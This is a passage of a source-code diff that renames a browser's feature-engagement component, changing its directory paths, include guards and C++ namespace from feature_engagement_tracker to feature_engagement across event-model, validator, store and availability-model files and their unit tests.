 class Event;
 
 // A EventModel provides all necessary runtime state.
@@ -51,6 +51,6 @@
   DISALLOW_COPY_AND_ASSIGN(EventModel);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_EVENT_MODEL_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_EVENT_MODEL_H_
diff --git a/components/feature_engagement_tracker/internal/event_model_impl.cc b/components/feature_engagement/internal/event_model_impl.cc
similarity index 90%
rename from components/feature_engagement_tracker/internal/event_model_impl.cc
rename to components/feature_engagement/internal/event_model_impl.cc
index 3a62e29..2fd365c 100644
--- a/components/feature_engagement_tracker/internal/event_model_impl.cc
+++ b/components/feature_engagement/internal/event_model_impl.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/event_model_impl.h"
+#include "components/feature_engagement/internal/event_model_impl.h"
 
 #include <map>
 #include <memory>
@@ -15,11 +15,11 @@
 #include "base/sequenced_task_runner.h"
 #include "base/single_thread_task_runner.h"
 #include "base/threading/thread_task_runner_handle.h"
-#include "components/feature_engagement_tracker/internal/event_model.h"
-#include "components/feature_engagement_tracker/internal/event_storage_validator.h"
-#include "components/feature_engagement_tracker/internal/event_store.h"
+#include "components/feature_engagement/internal/event_model.h"
+#include "components/feature_engagement/internal/event_storage_validator.h"
+#include "components/feature_engagement/internal/event_store.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 EventModelImpl::EventModelImpl(
     std::unique_ptr<EventStore> store,
@@ -132,4 +132,4 @@
   return events_[event_name];
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/event_model_impl.h b/components/feature_engagement/internal/event_model_impl.h
similarity index 80%
rename from components/feature_engagement_tracker/internal/event_model_impl.h
rename to components/feature_engagement/internal/event_model_impl.h
index c06f47e7..1c70bdd 100644
--- a/components/feature_engagement_tracker/internal/event_model_impl.h
+++ b/components/feature_engagement/internal/event_model_impl.h
@@ -2,8 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_EVENT_MODEL_IMPL_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_EVENT_MODEL_IMPL_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_EVENT_MODEL_IMPL_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_EVENT_MODEL_IMPL_H_
 
 #include <map>
 #include <memory>
@@ -12,10 +12,10 @@
 
 #include "base/macros.h"
 #include "base/memory/weak_ptr.h"
-#include "components/feature_engagement_tracker/internal/event_model.h"
-#include "components/feature_engagement_tracker/internal/proto/event.pb.h"
+#include "components/feature_engagement/internal/event_model.h"
+#include "components/feature_engagement/internal/proto/event.pb.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 class EventStorageValidator;
 class EventStore;
 
@@ -63,6 +63,6 @@
   DISALLOW_COPY_AND_ASSIGN(EventModelImpl);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_EVENT_MODEL_IMPL_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_EVENT_MODEL_IMPL_H_
diff --git a/components/feature_engagement_tracker/internal/event_model_impl_unittest.cc b/components/feature_engagement/internal/event_model_impl_unittest.cc
similarity index 96%
rename from components/feature_engagement_tracker/internal/event_model_impl_unittest.cc
rename to components/feature_engagement/internal/event_model_impl_unittest.cc
index f436584..818dd48 100644
--- a/components/feature_engagement_tracker/internal/event_model_impl_unittest.cc
+++ b/components/feature_engagement/internal/event_model_impl_unittest.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/event_model_impl.h"
+#include "components/feature_engagement/internal/event_model_impl.h"
 
 #include <memory>
 
@@ -12,14 +12,14 @@
 #include "base/memory/ptr_util.h"
 #include "base/test/test_simple_task_runner.h"
 #include "base/threading/thread_task_runner_handle.h"
-#include "components/feature_engagement_tracker/internal/editable_configuration.h"
-#include "components/feature_engagement_tracker/internal/in_memory_event_store.h"
-#include "components/feature_engagement_tracker/internal/never_event_storage_validator.h"
-#include "components/feature_engagement_tracker/internal/proto/event.pb.h"
-#include "components/feature_engagement_tracker/internal/test/event_util.h"
+#include "components/feature_engagement/internal/editable_configuration.h"
+#include "components/feature_engagement/internal/in_memory_event_store.h"
+#include "components/feature_engagement/internal/never_event_storage_validator.h"
+#include "components/feature_engagement/internal/proto/event.pb.h"
+#include "components/feature_engagement/internal/test/event_util.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 
@@ -464,4 +464,4 @@
   EXPECT_FALSE(initialize_callback_result_);
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/event_storage_validator.h b/components/feature_engagement/internal/event_storage_validator.h
similarity index 76%
rename from components/feature_engagement_tracker/internal/event_storage_validator.h
rename to components/feature_engagement/internal/event_storage_validator.h
index d2e3ac35..db41c84 100644
--- a/components/feature_engagement_tracker/internal/event_storage_validator.h
+++ b/components/feature_engagement/internal/event_storage_validator.h
@@ -2,14 +2,14 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_EVENT_STORAGE_VALIDATOR_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_EVENT_STORAGE_VALIDATOR_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_EVENT_STORAGE_VALIDATOR_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_EVENT_STORAGE_VALIDATOR_H_
 
 #include <string>
 
 #include "base/macros.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 // A EventStorageValidator checks the required storage conditions for a given
 // event, and checks if all conditions are met for storing it.
@@ -35,6 +35,6 @@
   DISALLOW_COPY_AND_ASSIGN(EventStorageValidator);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_EVENT_STORAGE_VALIDATOR_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_EVENT_STORAGE_VALIDATOR_H_
diff --git a/components/feature_engagement_tracker/internal/event_store.h b/components/feature_engagement/internal/event_store.h
similarity index 71%
rename from components/feature_engagement_tracker/internal/event_store.h
rename to components/feature_engagement/internal/event_store.h
index cce6614..a70820a 100644
--- a/components/feature_engagement_tracker/internal/event_store.h
+++ b/components/feature_engagement/internal/event_store.h
@@ -2,18 +2,18 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_STORE_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_STORE_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_STORE_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_STORE_H_
 
 #include <string>
 
 #include "base/callback.h"
 #include "base/macros.h"
-#include "components/feature_engagement_tracker/internal/proto/event.pb.h"
+#include "components/feature_engagement/internal/proto/event.pb.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
-// EventStore represents the storage engine behind the FeatureEngagementTracker.
+// EventStore represents the storage engine behind the EventModel.
 class EventStore {
  public:
   using OnLoadedCallback =
@@ -43,6 +43,6 @@
   DISALLOW_COPY_AND_ASSIGN(EventStore);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_STORE_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_STORE_H_
diff --git a/components/feature_engagement_tracker/internal/feature_config_condition_validator.cc b/components/feature_engagement/internal/feature_config_condition_validator.cc
similarity index 87%
rename from components/feature_engagement_tracker/internal/feature_config_condition_validator.cc
rename to components/feature_engagement/internal/feature_config_condition_validator.cc
index f6217b1..2ec5b83 100644
--- a/components/feature_engagement_tracker/internal/feature_config_condition_validator.cc
+++ b/components/feature_engagement/internal/feature_config_condition_validator.cc
@@ -2,16 +2,16 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/feature_config_condition_validator.h"
+#include "components/feature_engagement/internal/feature_config_condition_validator.h"
 
 #include "base/feature_list.h"
-#include "components/feature_engagement_tracker/internal/availability_model.h"
-#include "components/feature_engagement_tracker/internal/configuration.h"
-#include "components/feature_engagement_tracker/internal/event_model.h"
-#include "components/feature_engagement_tracker/internal/proto/event.pb.h"
-#include "components/feature_engagement_tracker/public/feature_list.h"
+#include "components/feature_engagement/internal/availability_model.h"
+#include "components/feature_engagement/internal/configuration.h"
+#include "components/feature_engagement/internal/event_model.h"
+#include "components/feature_engagement/internal/proto/event.pb.h"
+#include "components/feature_engagement/public/feature_list.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 FeatureConfigConditionValidator::FeatureConfigConditionValidator()
     : currently_showing_(false), times_shown_(0u) {}
@@ -119,4 +119,4 @@
   return comparator.MeetsCriteria(days_available);
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/feature_config_condition_validator.h b/components/feature_engagement/internal/feature_config_condition_validator.h
similarity index 79%
rename from components/feature_engagement_tracker/internal/feature_config_condition_validator.h
rename to components/feature_engagement/internal/feature_config_condition_validator.h
index bf70d29..949eaa7 100644
--- a/components/feature_engagement_tracker/internal/feature_config_condition_validator.h
+++ b/components/feature_engagement/internal/feature_config_condition_validator.h
@@ -2,15 +2,15 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_FEATURE_CONFIG_CONDITION_VALIDATOR_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_FEATURE_CONFIG_CONDITION_VALIDATOR_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_FEATURE_CONFIG_CONDITION_VALIDATOR_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_FEATURE_CONFIG_CONDITION_VALIDATOR_H_
 
 #include <stdint.h>
 
 #include "base/macros.h"
-#include "components/feature_engagement_tracker/internal/condition_validator.h"
+#include "components/feature_engagement/internal/condition_validator.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 class AvailabilityModel;
 struct Comparator;
 struct EventConfig;
@@ -51,6 +51,6 @@
   DISALLOW_COPY_AND_ASSIGN(FeatureConfigConditionValidator);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_FEATURE_CONFIG_CONDITION_VALIDATOR_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_FEATURE_CONFIG_CONDITION_VALIDATOR_H_
diff --git a/components/feature_engagement_tracker/internal/feature_config_condition_validator_unittest.cc b/components/feature_engagement/internal/feature_config_condition_validator_unittest.cc
similarity index 97%
rename from components/feature_engagement_tracker/internal/feature_config_condition_validator_unittest.cc
rename to components/feature_engagement/internal/feature_config_condition_validator_unittest.cc
index 749a05f..5f6420f8 100644
--- a/components/feature_engagement_tracker/internal/feature_config_condition_validator_unittest.cc
+++ b/components/feature_engagement/internal/feature_config_condition_validator_unittest.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/feature_config_condition_validator.h"
+#include "components/feature_engagement/internal/feature_config_condition_validator.h"
 
 #include <map>
 #include <string>
@@ -10,14 +10,14 @@
 #include "base/feature_list.h"
 #include "base/metrics/field_trial.h"
 #include "base/test/scoped_feature_list.h"
-#include "components/feature_engagement_tracker/internal/availability_model.h"
-#include "components/feature_engagement_tracker/internal/configuration.h"
-#include "components/feature_engagement_tracker/internal/event_model.h"
-#include "components/feature_engagement_tracker/internal/proto/event.pb.h"
-#include "components/feature_engagement_tracker/internal/test/event_util.h"
+#include "components/feature_engagement/internal/availability_model.h"
+#include "components/feature_engagement/internal/configuration.h"
+#include "components/feature_engagement/internal/event_model.h"
+#include "components/feature_engagement/internal/proto/event.pb.h"
+#include "components/feature_engagement/internal/test/event_util.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 
@@ -535,4 +535,4 @@
   EXPECT_FALSE(result.preconditions_ok);
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/feature_config_event_storage_validator.cc b/components/feature_engagement/internal/feature_config_event_storage_validator.cc
similarity index 88%
rename from components/feature_engagement_tracker/internal/feature_config_event_storage_validator.cc
rename to components/feature_engagement/internal/feature_config_event_storage_validator.cc
index a228534..588d6a8 100644
--- a/components/feature_engagement_tracker/internal/feature_config_event_storage_validator.cc
+++ b/components/feature_engagement/internal/feature_config_event_storage_validator.cc
@@ -2,16 +2,16 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/feature_config_event_storage_validator.h"
+#include "components/feature_engagement/internal/feature_config_event_storage_validator.h"
 
 #include <unordered_map>
 #include <unordered_set>
 
 #include "base/feature_list.h"
-#include "components/feature_engagement_tracker/internal/configuration.h"
-#include "components/feature_engagement_tracker/public/feature_list.h"
+#include "components/feature_engagement/internal/configuration.h"
+#include "components/feature_engagement/public/feature_list.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 FeatureConfigEventStorageValidator::FeatureConfigEventStorageValidator() =
     default;
@@ -87,4 +87,4 @@
     longest_storage_times_[event_config.name] = event_config.storage;
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/feature_config_event_storage_validator.h b/components/feature_engagement/internal/feature_config_event_storage_validator.h
similarity index 78%
rename from components/feature_engagement_tracker/internal/feature_config_event_storage_validator.h
rename to components/feature_engagement/internal/feature_config_event_storage_validator.h
index a0f105c..b7dd068 100644
--- a/components/feature_engagement_tracker/internal/feature_config_event_storage_validator.h
+++ b/components/feature_engagement/internal/feature_config_event_storage_validator.h
@@ -2,18 +2,18 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_FEATURE_CONFIG_EVENT_STORAGE_VALIDATOR_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_FEATURE_CONFIG_EVENT_STORAGE_VALIDATOR_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_FEATURE_CONFIG_EVENT_STORAGE_VALIDATOR_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_FEATURE_CONFIG_EVENT_STORAGE_VALIDATOR_H_
 
 #include <string>
 #include <unordered_map>
 #include <unordered_set>
 
 #include "base/macros.h"
-#include "components/feature_engagement_tracker/internal/event_storage_validator.h"
-#include "components/feature_engagement_tracker/public/feature_list.h"
+#include "components/feature_engagement/internal/event_storage_validator.h"
+#include "components/feature_engagement/public/feature_list.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 class Configuration;
 struct EventConfig;
 struct FeatureConfig;
@@ -58,6 +58,6 @@
   DISALLOW_COPY_AND_ASSIGN(FeatureConfigEventStorageValidator);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_FEATURE_CONFIG_EVENT_STORAGE_VALIDATOR_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_FEATURE_CONFIG_EVENT_STORAGE_VALIDATOR_H_
diff --git a/components/feature_engagement_tracker/internal/feature_config_event_storage_validator_unittest.cc b/components/feature_engagement/internal/feature_config_event_storage_validator_unittest.cc
similarity index 95%
rename from components/feature_engagement_tracker/internal/feature_config_event_storage_validator_unittest.cc
rename to components/feature_engagement/internal/feature_config_event_storage_validator_unittest.cc
index c9a42c518..6ec6afe5 100644
--- a/components/feature_engagement_tracker/internal/feature_config_event_storage_validator_unittest.cc
+++ b/components/feature_engagement/internal/feature_config_event_storage_validator_unittest.cc
@@ -2,20 +2,20 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/feature_config_event_storage_validator.h"
+#include "components/feature_engagement/internal/feature_config_event_storage_validator.h"
 
 #include <string>
 
 #include "base/feature_list.h"
 #include "base/metrics/field_trial.h"
 #include "base/test/scoped_feature_list.h"
-#include "components/feature_engagement_tracker/internal/configuration.h"
-#include "components/feature_engagement_tracker/internal/editable_configuration.h"
-#include "components/feature_engagement_tracker/internal/event_model.h"
-#include "components/feature_engagement_tracker/internal/proto/event.pb.h"
+#include "components/feature_engagement/internal/configuration.h"
+#include "components/feature_engagement/internal/editable_configuration.h"
+#include "components/feature_engagement/internal/event_model.h"
+#include "components/feature_engagement/internal/proto/event.pb.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 
@@ -292,4 +292,4 @@
   }
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/in_memory_event_store.cc b/components/feature_engagement/internal/in_memory_event_store.cc
similarity index 85%
rename from components/feature_engagement_tracker/internal/in_memory_event_store.cc
rename to components/feature_engagement/internal/in_memory_event_store.cc
index c770df9..a19b4107 100644
--- a/components/feature_engagement_tracker/internal/in_memory_event_store.cc
+++ b/components/feature_engagement/internal/in_memory_event_store.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/in_memory_event_store.h"
+#include "components/feature_engagement/internal/in_memory_event_store.h"
 
 #include <vector>
 
@@ -12,9 +12,9 @@
 #include "base/sequenced_task_runner.h"
 #include "base/single_thread_task_runner.h"
 #include "base/threading/thread_task_runner_handle.h"
-#include "components/feature_engagement_tracker/internal/event_store.h"
+#include "components/feature_engagement/internal/event_store.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 InMemoryEventStore::InMemoryEventStore(
     std::unique_ptr<std::vector<Event>> events)
@@ -48,4 +48,4 @@
   ready_ = success;
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/in_memory_event_store.h b/components/feature_engagement/internal/in_memory_event_store.h
similarity index 77%
rename from components/feature_engagement_tracker/internal/in_memory_event_store.h
rename to components/feature_engagement/internal/in_memory_event_store.h
index b9ac7833..cf6da50 100644
--- a/components/feature_engagement_tracker/internal/in_memory_event_store.h
+++ b/components/feature_engagement/internal/in_memory_event_store.h
@@ -2,15 +2,15 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_IN_MEMORY_EVENT_STORE_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_IN_MEMORY_EVENT_STORE_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_IN_MEMORY_EVENT_STORE_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_IN_MEMORY_EVENT_STORE_H_
 
 #include <vector>
 
 #include "base/macros.h"
-#include "components/feature_engagement_tracker/internal/event_store.h"
+#include "components/feature_engagement/internal/event_store.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 // An InMemoryEventStore provides a DB layer that stores all data in-memory.
 // All data is made available to this class during construction, and can be
 // loaded once by a caller. All calls to WriteEvent(...) are ignored.
@@ -43,6 +43,6 @@
   DISALLOW_COPY_AND_ASSIGN(InMemoryEventStore);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_IN_MEMORY_EVENT_STORE_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_IN_MEMORY_EVENT_STORE_H_
diff --git a/components/feature_engagement_tracker/internal/in_memory_event_store_unittest.cc b/components/feature_engagement/internal/in_memory_event_store_unittest.cc
similarity index 92%
rename from components/feature_engagement_tracker/internal/in_memory_event_store_unittest.cc
rename to components/feature_engagement/internal/in_memory_event_store_unittest.cc
index c30d40e9..e3c48510 100644
--- a/components/feature_engagement_tracker/internal/in_memory_event_store_unittest.cc
+++ b/components/feature_engagement/internal/in_memory_event_store_unittest.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/in_memory_event_store.h"
+#include "components/feature_engagement/internal/in_memory_event_store.h"
 
 #include <memory>
 #include <utility>
@@ -15,7 +15,7 @@
 #include "base/run_loop.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 
@@ -67,4 +67,4 @@
   EXPECT_TRUE(last_result_);
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/init_aware_event_model.cc b/components/feature_engagement/internal/init_aware_event_model.cc
similarity index 91%
rename from components/feature_engagement_tracker/internal/init_aware_event_model.cc
rename to components/feature_engagement/internal/init_aware_event_model.cc
index 699f3c9..9d53ab94 100644
--- a/components/feature_engagement_tracker/internal/init_aware_event_model.cc
+++ b/components/feature_engagement/internal/init_aware_event_model.cc
@@ -2,11 +2,11 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/init_aware_event_model.h"
+#include "components/feature_engagement/internal/init_aware_event_model.h"
 
 #include "base/bind.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 InitAwareEventModel::InitAwareEventModel(
     std::unique_ptr<EventModel> event_model)
@@ -66,4 +66,4 @@
   return queued_events_.size();
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/init_aware_event_model.h b/components/feature_engagement/internal/init_aware_event_model.h
similarity index 78%
rename from components/feature_engagement_tracker/internal/init_aware_event_model.h
rename to components/feature_engagement/internal/init_aware_event_model.h
index 0ae96cff..ed034b7 100644
--- a/components/feature_engagement_tracker/internal/init_aware_event_model.h
+++ b/components/feature_engagement/internal/init_aware_event_model.h
@@ -2,8 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_INIT_AWARE_EVENT_MODEL_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_INIT_AWARE_EVENT_MODEL_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_INIT_AWARE_EVENT_MODEL_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_INIT_AWARE_EVENT_MODEL_H_
 
 #include <stdint.h>
 
@@ -13,9 +13,9 @@
 #include <vector>
 
 #include "base/memory/weak_ptr.h"
-#include "components/feature_engagement_tracker/internal/event_model.h"
+#include "components/feature_engagement/internal/event_model.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 class InitAwareEventModel : public EventModel {
  public:
@@ -49,6 +49,6 @@
   DISALLOW_COPY_AND_ASSIGN(InitAwareEventModel);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_INIT_AWARE_EVENT_MODEL_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_INIT_AWARE_EVENT_MODEL_H_
diff --git a/components/feature_engagement_tracker/internal/init_aware_event_model_unittest.cc b/components/feature_engagement/internal/init_aware_event_model_unittest.cc
similarity index 93%
rename from components/feature_engagement_tracker/internal/init_aware_event_model_unittest.cc
rename to components/feature_engagement/internal/init_aware_event_model_unittest.cc
index c0aab7c8..b312958 100644
--- a/components/feature_engagement_tracker/internal/init_aware_event_model_unittest.cc
+++ b/components/feature_engagement/internal/init_aware_event_model_unittest.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/init_aware_event_model.h"
+#include "components/feature_engagement/internal/init_aware_event_model.h"
 
 #include <memory>
 
@@ -10,8 +10,8 @@
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
 #include "base/optional.h"
-#include "components/feature_engagement_tracker/internal/proto/event.pb.h"
-#include "components/feature_engagement_tracker/internal/test/event_util.h"
+#include "components/feature_engagement/internal/proto/event.pb.h"
+#include "components/feature_engagement/internal/test/event_util.h"
 #include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
@@ -20,7 +20,7 @@
 using testing::SaveArg;
 using testing::Sequence;
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 
@@ -167,4 +167,4 @@
   EXPECT_EQ(0U, model_->GetQueuedEventCountForTesting());
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/never_availability_model.cc b/components/feature_engagement/internal/never_availability_model.cc
similarity index 88%
rename from components/feature_engagement_tracker/internal/never_availability_model.cc
rename to components/feature_engagement/internal/never_availability_model.cc
index 55ecbe5..1b4615d8 100644
--- a/components/feature_engagement_tracker/internal/never_availability_model.cc
+++ b/components/feature_engagement/internal/never_availability_model.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/never_availability_model.h"
+#include "components/feature_engagement/internal/never_availability_model.h"
 
 #include <utility>
 
@@ -12,7 +12,7 @@
 #include "base/single_thread_task_runner.h"
 #include "base/threading/thread_task_runner_handle.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 NeverAvailabilityModel::NeverAvailabilityModel() : ready_(false) {}
 
@@ -42,4 +42,4 @@
   ready_ = true;
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/internal/never_availability_model.h b/components/feature_engagement/internal/never_availability_model.h
similarity index 72%
rename from components/feature_engagement_tracker/internal/never_availability_model.h
rename to components/feature_engagement/internal/never_availability_model.h
index 1a64a5d..9d30f1a 100644
--- a/components/feature_engagement_tracker/internal/never_availability_model.h
+++ b/components/feature_engagement/internal/never_availability_model.h
@@ -2,15 +2,15 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_NEVER_AVAILABILITY_MODEL_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_NEVER_AVAILABILITY_MODEL_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_NEVER_AVAILABILITY_MODEL_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_NEVER_AVAILABILITY_MODEL_H_
 
 #include <stdint.h>
 
 #include "base/macros.h"
-#include "components/feature_engagement_tracker/internal/availability_model.h"
+#include "components/feature_engagement/internal/availability_model.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 // An AvailabilityModel that never has any data, and is ready after having been
 // initialized.
@@ -38,6 +38,6 @@
   DISALLOW_COPY_AND_ASSIGN(NeverAvailabilityModel);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_NEVER_AVAILABILITY_MODEL_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_INTERNAL_NEVER_AVAILABILITY_MODEL_H_
diff --git a/components/feature_engagement_tracker/internal/never_availability_model_unittest.cc b/components/feature_engagement/internal/never_availability_model_unittest.cc
similarity index 92%
rename from components/feature_engagement_tracker/internal/never_availability_model_unittest.cc
rename to components/feature_engagement/internal/never_availability_model_unittest.cc
index a1c143c..099df23 100644
--- a/components/feature_engagement_tracker/internal/never_availability_model_unittest.cc
+++ b/components/feature_engagement/internal/never_availability_model_unittest.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/internal/never_availability_model.h"
+#include "components/feature_engagement/internal/never_availability_model.h"
 
 #include "base/bind.h"
 #include "base/feature_list.h"
@@ -11,7 +11,7 @@
 #include "base/run_loop.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
